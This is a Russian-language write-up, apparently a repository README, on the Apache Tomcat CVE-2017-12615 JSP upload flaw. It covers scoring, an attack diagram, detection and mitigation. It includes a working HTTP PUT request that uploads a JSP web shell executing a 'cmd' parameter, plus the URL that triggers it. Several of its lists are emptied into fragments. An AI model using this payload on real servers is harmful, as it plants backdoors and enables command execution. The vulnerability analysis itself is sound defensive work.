
CVE-2017-12615 - Apache Tomcat Remote Code Execution (RCE)
CVE-2017-12615 — это уязвимость удаленного выполнения кода (RCE), затрагивающая Apache Tomcat 7.0.0 – 7.0.79 на Microsoft Windows, когда включены HTTP-запросы PUT.
Уязвимость существует из-за некорректной обработки загружаемых JSP-файлов в Tomcat, когда DefaultServlet настроен с параметром readonly равным false. В таких условиях неаутентифицированный злоумышленник может загрузить вредоносный JSP-файл непосредственно на веб-сервер и выполнить произвольный Java-код, просто обратившись к загруженному файлу.
Эта уязвимость стала одной из самых известных проблем RCE в Tomcat из-за простоты её использования против неправильно настроенных серверов.
readonly="false" в конфигурации DefaultServlet| Метрика | Значение |
|---|
| CVE | CVE-2017-12615 |
| CVSS v3 | 8.1 (Высокий) |
| Вектор атаки | Сеть |
| Требуемые привилегии | Отсутствуют |
| Взаимодействие с пользователем | Отсутствует |
| Воздействие | Удаленное выполнение кода |
Обычно Apache Tomcat предотвращает загрузку исполняемых JSP-файлов.
Однако, когда:
readonly=false)злоумышленник может загрузить JSP-файл непосредственно в корень веб-приложения.
После загрузки обращение к этому JSP заставляет Tomcat скомпилировать и выполнить его, что позволяет выполнить произвольный Java-код с привилегиями службы Tomcat.
Атакующий
│
│ HTTP PUT
▼
Загрузка вредоносной JSP-оболочки
│
▼
Tomcat сохраняет файл
│
│ HTTP GET
▼
Запрос загруженного JSP
│
▼
Tomcat компилирует JSP
│
▼
Выполнение Java-кода
│
▼
Удаленное выполнение кода
Типичная атака состоит из следующих шагов:
Если сервер уязвим, аутентификация не требуется.
Пример HTTP-запроса PUT:
PUT /shell.jsp HTTP/1.1
Host: victim.com
Content-Type: application/octet-stream
<%@ page import="java.io.*" %>
<%
Runtime.getRuntime().exec(request.getParameter("cmd"));
%>
При успехе сервер отвечает:
HTTP/1.1 201 Created
Затем полезную нагрузку можно выполнить, перейдя по адресу:
http://victim.com/shell.jsp?cmd=whoami
Простой способ выявить уязвимые системы — попытаться загрузить безвредный тестовый JSP:
PUT /test.jsp
Возможные ответы:
201 Created
или
204 No Content
Если загруженный файл затем можно получить по HTTP, сервер, скорее всего, уязвим.
Успешная эксплуатация позволяет злоумышленнику:
Специалистам по безопасности следует обратить внимание на:
.jspРекомендуемые меры по смягчению:
readonly="true".| Свойство | Значение |
|---|---|
| Уязвимость | Произвольная загрузка JSP |
| CWE | CWE-434 — Неограниченная загрузка файла опасного типа |
| Требуется аутентификация | Нет |
| Сложность эксплуатации | Низкая при уязвимых конфигурациях |
| Результат | Удаленное выполнение кода |
| Платформа | Windows |
| Служба | Apache Tomcat |
Этот репозиторий предназначен исключительно для образовательных целей, защитных исследований безопасности и авторизованного тестирования на проникновение. Не используйте эту информацию против систем без явного разрешения.